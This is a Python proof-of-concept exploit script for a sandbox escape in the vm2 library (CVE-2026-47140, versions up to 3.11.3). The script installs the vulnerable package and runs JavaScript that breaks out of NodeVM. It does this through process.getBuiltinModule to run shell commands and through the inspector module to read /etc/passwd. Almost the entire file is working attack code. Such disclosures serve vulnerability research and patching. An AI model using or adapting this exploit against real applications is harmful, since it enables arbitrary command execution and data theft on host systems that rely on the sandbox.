#!/usr/bin/env python3
# Exploit Title: vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass (Sandbox Escape)
# CVE: CVE-2026-47140
# Date: 2026-06-20
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://github.com/patriksimek/vm2
# Software Link: https://github.com/patriksimek/vm2
# Affected: vm2 <= 3.11.3
# Tested on: Node.js 18/20 + Python 3
# Category: Remote Code Execution
# Platform: Node.js
# Exploit Type: Sandbox Escape
# CVSS: 9.8
# Description: vm2 NodeVM builtin denylist bypass via process.getBuiltinModule and inspector/promises leading to host RCE.
# Fixed in: vm2 3.11.4
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options:
# --
#
# Notes:
# • Requires Node.js and npm installed
#
# How to Use
#
# Step 1:
# Save as exploit.py and run
#
# Step 2:
# The script auto-downloads vulnerable vm2 and executes the PoC
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╗
""")
import subprocess
import sys
import os
import tempfile
import shutil
def run_command(cmd, cwd=None):
try:
result = subprocess.run(cmd, shell=True, cwd=cwd, capture_output=True, text=True, timeout=10)
return result.stdout.strip(), result.stderr.strip(), result.returncode
except Exception as e:
return "", str(e), -1
def main():
banner()
print("=== CVE-2026-47140 PoC - vm2 Sandbox Escape ===\n")
with tempfile.TemporaryDirectory() as tmpdir:
print(f"Working directory: {tmpdir}")
print("[+] Installing vulnerable vm2@3.11.3...")
run_command("npm init -y", tmpdir)
stdout, stderr, code = run_command("npm install vm2@3.11.3", tmpdir)
if code != 0:
print("[-] Failed to install vm2. Make sure Node.js + npm are installed.")
print(stderr)
return
exploit_js = """
const { NodeVM } = require('vm2');
console.log('[+] Running CVE-2026-47140 exploit\\n');
const vm1 = new NodeVM({
console: 'inherit',
sandbox: {},
require: {
builtin: ['*', '-child_process'],
external: false
}
});
try {
const output = vm1.run(`
const processMod = require('process');
const cp = processMod.getBuiltinModule('child_process');
const result = cp.execSync('id && whoami && hostname', { encoding: 'utf8' });
module.exports = result;
`);
console.log("✅ SUCCESS (process bypass):\\n" + output);
} catch (e) {
console.error("❌ Exploit 1 failed:", e.message);
}
const vm2 = new NodeVM({
console: 'inherit',
sandbox: {},
require: {
builtin: ['*'],
external: false
},
allowAsync: true
});
vm2.run(`
(async () => {
const { Session } = require('inspector/promises');
const session = new Session();
await session.connect();
await session.post('Runtime.enable');
const res = await session.post('Runtime.evaluate', {
expression: 'require("fs").readFileSync("/etc/passwd", "utf8").split("\\n").slice(0,3).join("\\n")',
returnByValue: true
});
console.log("✅ SUCCESS (inspector bypass):\\n" + res.result.value);
session.disconnect();
})().catch(e => console.error(e));
`, 'exploit.js');
"""
exploit_path = os.path.join(tmpdir, "exploit.js")
with open(exploit_path, "w") as f:
f.write(exploit_js)
print("\n[+] Executing the exploit...")
stdout, stderr, code = run_command("node exploit.js", tmpdir)
print("\n" + "="*60)
print(stdout)
if stderr:
print("STDERR:", stderr)
print("\n[+] PoC completed. Update to vm2@3.11.4 or newer.")
if __name__ == "__main__":
if shutil.which("node") is None or shutil.which("npm") is None:
print("Error: Node.js and npm are required.")
sys.exit(1)
main()